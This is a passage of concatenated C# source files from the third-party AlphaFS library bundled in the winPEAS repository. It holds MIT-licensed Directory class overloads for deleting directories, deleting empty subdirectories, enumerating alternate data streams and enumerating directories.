System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Deletes an empty directory from a specified path. /// /// /// /// /// /// /// /// The name of the empty directory to remove. This directory must be writable and empty. [SecurityCritical] public static void Delete(string path) { DeleteDirectoryCore(null, null, path, false, false, false, PathFormat.RelativePath); } /// Deletes the specified directory and, if indicated, any subdirectories in the directory. /// /// /// /// /// /// /// /// The name of the directory to remove. /// true to remove directories, subdirectories, and files in . false otherwise. [SecurityCritical] public static void Delete(string path, bool recursive) { DeleteDirectoryCore(null, null, path, recursive, false, false, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Deletes an empty directory from a specified path. /// /// /// /// /// /// /// /// The name of the empty directory to remove. This directory must be writable and empty. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void Delete(string path, PathFormat pathFormat) { DeleteDirectoryCore(null, null, path, false, false, false, pathFormat); } /// [AlphaFS] Deletes the specified directory and, if indicated, any subdirectories in the directory. /// /// /// /// /// /// /// /// The name of the directory to remove. /// true to remove directories, subdirectories, and files in . false otherwise. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void Delete(string path, bool recursive, PathFormat pathFormat) { DeleteDirectoryCore(null, null, path, recursive, false, false, pathFormat); } /// [AlphaFS] Deletes the specified directory and, if indicated, any subdirectories in the directory. /// /// /// /// /// /// /// /// The name of the directory to remove. /// true to remove directories, subdirectories, and files in . false otherwise. /// true overrides read only of files and directories. [SecurityCritical] public static void Delete(string path, bool recursive, bool ignoreReadOnly) { DeleteDirectoryCore(null, null, path, recursive, ignoreReadOnly, false, PathFormat.RelativePath); } /// [AlphaFS] Deletes the specified directory and, if indicated, any subdirectories in the directory. /// /// /// /// /// /// /// /// The name of the directory to remove. /// true to remove directories, subdirectories, and files in . false otherwise. /// true overrides read only of files and directories. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void Delete(string path, bool recursive, bool ignoreReadOnly, PathFormat pathFormat) { DeleteDirectoryCore(null, null, path, recursive, ignoreReadOnly, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.DeleteEmptySubdirectories.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Deletes empty subdirectories from the specified directory. /// /// /// /// /// /// /// /// The name of the directory to remove empty subdirectories from. [SecurityCritical] public static void DeleteEmptySubdirectories(string path) { DeleteEmptySubdirectoriesCore(null, null, path, false, false, PathFormat.RelativePath); } /// [AlphaFS] Deletes empty subdirectories from the specified directory. /// /// /// /// /// /// /// /// The name of the directory to remove empty subdirectories from. /// true deletes empty subdirectories from this directory and its subdirectories. [SecurityCritical] public static void DeleteEmptySubdirectories(string path, bool recursive) { DeleteEmptySubdirectoriesCore(null, null, path, recursive, false, PathFormat.RelativePath); } /// [AlphaFS] Deletes empty subdirectories from the specified directory. /// /// /// /// /// /// /// /// The name of the directory to remove empty subdirectories from. /// true deletes empty subdirectories from this directory and its subdirectories. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void DeleteEmptySubdirectories(string path, bool recursive, PathFormat pathFormat) { DeleteEmptySubdirectoriesCore(null, null, path, recursive, false, pathFormat); } /// [AlphaFS] Deletes empty subdirectories from the specified directory. /// /// /// /// /// /// /// /// The name of the directory to remove empty subdirectories from. /// true deletes empty subdirectories from this directory and its subdirectories. /// true overrides read only of empty directories. [SecurityCritical] public static void DeleteEmptySubdirectories(string path, bool recursive, bool ignoreReadOnly) { DeleteEmptySubdirectoriesCore(null, null, path, recursive, ignoreReadOnly, PathFormat.RelativePath); } /// [AlphaFS] Deletes empty subdirectories from the specified directory. /// /// /// /// /// /// /// /// The name of the directory to remove empty subdirectories from. /// true deletes empty subdirectories from this directory and its subdirectories. /// true overrides read only of empty directories. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void DeleteEmptySubdirectories(string path, bool recursive, bool ignoreReadOnly, PathFormat pathFormat) { DeleteEmptySubdirectoriesCore(null, null, path, recursive, ignoreReadOnly, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.DeleteEmptySubdirectoriesTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Deletes empty subdirectories from the specified directory. /// /// /// /// /// /// /// /// The transaction. /// The name of the directory to remove empty subdirectories from. [SecurityCritical] public static void DeleteEmptySubdirectoriesTransacted(KernelTransaction transaction, string path) { DeleteEmptySubdirectoriesCore(null, transaction, path, false, false, PathFormat.RelativePath); } /// [AlphaFS] Deletes empty subdirectories from the specified directory. /// /// /// /// /// /// /// /// The transaction. /// The name of the directory to remove empty subdirectories from. /// true deletes empty subdirectories from this directory and its subdirectories. [SecurityCritical] public static void DeleteEmptySubdirectoriesTransacted(KernelTransaction transaction, string path, bool recursive) { DeleteEmptySubdirectoriesCore(null, transaction, path, recursive, false, PathFormat.RelativePath); } /// [AlphaFS] Deletes empty subdirectories from the specified directory. /// /// /// /// /// /// /// /// The transaction. /// The name of the directory to remove empty subdirectories from. /// true deletes empty subdirectories from this directory and its subdirectories. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void DeleteEmptySubdirectoriesTransacted(KernelTransaction transaction, string path, bool recursive, PathFormat pathFormat) { DeleteEmptySubdirectoriesCore(null, transaction, path, recursive, false, pathFormat); } /// [AlphaFS] Deletes empty subdirectories from the specified directory. /// /// /// /// /// /// /// /// The transaction. /// The name of the directory to remove empty subdirectories from. /// true deletes empty subdirectories from this directory and its subdirectories. /// true overrides read only of empty directories. [SecurityCritical] public static void DeleteEmptySubdirectoriesTransacted(KernelTransaction transaction, string path, bool recursive, bool ignoreReadOnly) { DeleteEmptySubdirectoriesCore(null, transaction, path, recursive, ignoreReadOnly, PathFormat.RelativePath); } /// [AlphaFS] Deletes empty subdirectories from the specified directory. /// /// /// /// /// /// /// /// The transaction. /// The name of the directory to remove empty subdirectories from. /// true deletes empty subdirectories from this directory and its subdirectories. /// true overrides read only of empty directories. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void DeleteEmptySubdirectoriesTransacted(KernelTransaction transaction, string path, bool recursive, bool ignoreReadOnly, PathFormat pathFormat) { DeleteEmptySubdirectoriesCore(null, transaction, path, recursive, ignoreReadOnly, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.DeleteTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Deletes an empty directory from a specified path. /// /// /// /// /// /// /// /// The transaction. /// The name of the empty directory to remove. This directory must be writable and empty. [SecurityCritical] public static void DeleteTransacted(KernelTransaction transaction, string path) { DeleteDirectoryCore(transaction, null, path, false, false, false, PathFormat.RelativePath); } /// [AlphaFS] Deletes an empty directory from a specified path. /// /// /// /// /// /// /// /// The transaction. /// The name of the empty directory to remove. This directory must be writable and empty. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void DeleteTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { DeleteDirectoryCore(transaction, null, path, false, false, false, pathFormat); } /// [AlphaFS] Deletes the specified directory and, if indicated, any subdirectories in the directory. /// /// /// /// /// /// /// /// The transaction. /// The name of the directory to remove. /// true to remove directories, subdirectories, and files in . false otherwise. [SecurityCritical] public static void DeleteTransacted(KernelTransaction transaction, string path, bool recursive) { DeleteDirectoryCore(transaction, null, path, recursive, false, false, PathFormat.RelativePath); } /// [AlphaFS] Deletes the specified directory and, if indicated, any subdirectories in the directory. /// /// /// /// /// /// /// /// The transaction. /// The name of the directory to remove. /// true to remove directories, subdirectories, and files in . false otherwise. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void DeleteTransacted(KernelTransaction transaction, string path, bool recursive, PathFormat pathFormat) { DeleteDirectoryCore(transaction, null, path, recursive, false, false, pathFormat); } /// [AlphaFS] Deletes the specified directory and, if indicated, any subdirectories in the directory. /// /// /// /// /// /// /// /// The transaction. /// The name of the directory to remove. /// true to remove directories, subdirectories, and files in . false otherwise. /// true overrides read only of files and directories. [SecurityCritical] public static void DeleteTransacted(KernelTransaction transaction, string path, bool recursive, bool ignoreReadOnly) { DeleteDirectoryCore(transaction, null, path, recursive, ignoreReadOnly, false, PathFormat.RelativePath); } /// [AlphaFS] Deletes the specified directory and, if indicated, any subdirectories in the directory. /// /// /// /// /// /// /// /// The transaction. /// The name of the directory to remove. /// true to remove directories, subdirectories, and files in . false otherwise. /// true overrides read only of files and directories. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void DeleteTransacted(KernelTransaction transaction, string path, bool recursive, bool ignoreReadOnly, PathFormat pathFormat) { DeleteDirectoryCore(transaction, null, path, recursive, ignoreReadOnly, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateAlternateDataStreams.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Collections.Generic; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Enumerates the streams of type :$DATA from the specified directory. /// The path to the directory to enumerate streams of. /// The streams of type :$DATA in the specified directory. [SecurityCritical] public static IEnumerable EnumerateAlternateDataStreams(string path) { return File.EnumerateAlternateDataStreamsCore(null, true, path, PathFormat.RelativePath); } /// [AlphaFS] Enumerates the streams of type :$DATA from the specified directory. /// The path to the directory to enumerate streams of. /// Indicates the format of the path parameter(s). /// The streams of type :$DATA in the specified directory. [SecurityCritical] public static IEnumerable EnumerateAlternateDataStreams(string path, PathFormat pathFormat) { return File.EnumerateAlternateDataStreamsCore(null, true, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateAlternateDataStreamsTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Collections.Generic; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Enumerates the streams of type :$DATA from the specified directory. /// The transaction. /// The path to the directory to enumerate streams of. /// The streams of type :$DATA in the specified directory. [SecurityCritical] public static IEnumerable EnumerateAlternateDataStreamsTransacted(KernelTransaction transaction, string path) { return File.EnumerateAlternateDataStreamsCore(transaction, true, path, PathFormat.RelativePath); } /// [AlphaFS] Enumerates the streams of type :$DATA from the specified directory. /// The transaction. /// The path to the directory to enumerate streams of. /// Indicates the format of the path parameter(s). /// The streams of type :$DATA in the specified directory. [SecurityCritical] public static IEnumerable EnumerateAlternateDataStreamsTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return File.EnumerateAlternateDataStreamsCore(transaction, true, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateDirectories.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.IO; using System.Security; using SearchOption = System.IO.SearchOption; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Returns an enumerable collection of directory names in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The directory to search. [SecurityCritical] public static IEnumerable EnumerateDirectories(string path) { return EnumerateFileSystemEntryInfosCore(true, null, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath); } /// Returns an enumerable collection of directory names that match a in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by and that match the specified . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// [SecurityCritical] public static IEnumerable EnumerateDirectories(string path, string searchPattern) { return EnumerateFileSystemEntryInfosCore(true, null, path, searchPattern, null, null, null, PathFormat.RelativePath); } /// Returns an enumerable collection of directory names that match a in a specified , and optionally searches subdirectories. /// An enumerable collection of the full names (including paths) for the directories in the directory specified by and that match the specified and . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// [SecurityCritical] public static IEnumerable EnumerateDirectories(string path, string searchPattern, SearchOption searchOption) { return EnumerateFileSystemEntryInfosCore(true, null, path, searchPattern, searchOption, null, null, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Returns an enumerable collection of directory names in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateDirectories(string path, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(true, null, path, Path.WildcardStarMatchAll, null, null, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of directory names that match a in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by and that match the specified . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateDirectories(string path, string searchPattern, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(true, null, path, searchPattern, null, null, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of directory names that match a in a specified , and optionally searches subdirectories. /// An enumerable collection of the full names (including paths) for the directories in the directory specified by and that match the specified and . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateDirectories(string path, string searchPattern, SearchOption searchOption, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(true, null, path, searchPattern, searchOption, null, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of directory names in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// flags that specify how the directory is to be enumerated. [SecurityCritical] public static IEnumerable EnumerateDirectories(string path, DirectoryEnumerationOptions options) { return EnumerateFileSystemEntryInfosCore(true, null, path, Path.WildcardStarMatchAll, null, options, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of directory names in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateDirectories(string path, DirectoryEnumerationOptions options, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(true, null, path, Path.WildcardStarMatchAll, null, options, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of directory names in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateDirectories(string path, string searchPattern, DirectoryEnumerationOptions options) { return EnumerateFileSystemEntryInfosCore(true, null, path, searchPattern, null, options, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of directory names in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateDirectories(string path, string searchPattern, DirectoryEnumerationOptions options, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(true, null, path, searchPattern, null, options, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of directory names in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// The specification of custom filters to be used in the process. [SecurityCritical] public static IEnumerable EnumerateDirectories(string path, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(true, null, path, Path.WildcardStarMatchAll, null, null, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of directory names in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateDirectories(string path, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(true, null, path, Path.WildcardStarMatchAll, null, null, filters, pathFormat); } /// [AlphaFS] Returns an enumerable collection of directory names in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// The specification of custom filters to be used in the process. [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateDirectories(string path, string searchPattern, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(true, null, path, searchPattern, null, null, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of directory names in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateDirectories(string path, string searchPattern, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(true, null, path, searchPattern, null, null, filters, pathFormat); } /// [AlphaFS] Returns an enumerable collection of directory names in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. [SecurityCritical] public static IEnumerable EnumerateDirectories(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(true, null, path, Path.WildcardStarMatchAll, null, options, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of directory names in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateDirectories(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(true, null, path, Path.WildcardStarMatchAll, null, options, filters, pathFormat); } /// [AlphaFS] Returns an enumerable collection of directory names in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateDirectories(string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(true, null, path, searchPattern, null, options, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of directory names in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// The specification of custom filters to be used in the process. /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateDirectories(string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(true, null, path, searchPattern, null, options, filters, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateDirectoriesTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.IO; using System.Security; using SearchOption = System.IO.SearchOption; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Returns an enumerable collection of directory instances in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. [SecurityCritical] public static IEnumerable EnumerateDirectoriesTransacted(KernelTransaction transaction, string path) { return EnumerateFileSystemEntryInfosCore(true, transaction, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of directory instances that match a in a specified . /// An enumerable collection of the full names (including paths) for the directories in the directory specified by and that match the specified . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern) { return EnumerateFileSystemEntryInfosCore(true, transaction, path, searchPattern, null, null, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of directory names that match a in a specified , and optionally searches subdirectories. /// An enumerable collection of the full names (including paths) for the directories in the directory specified by and that match the specified and . 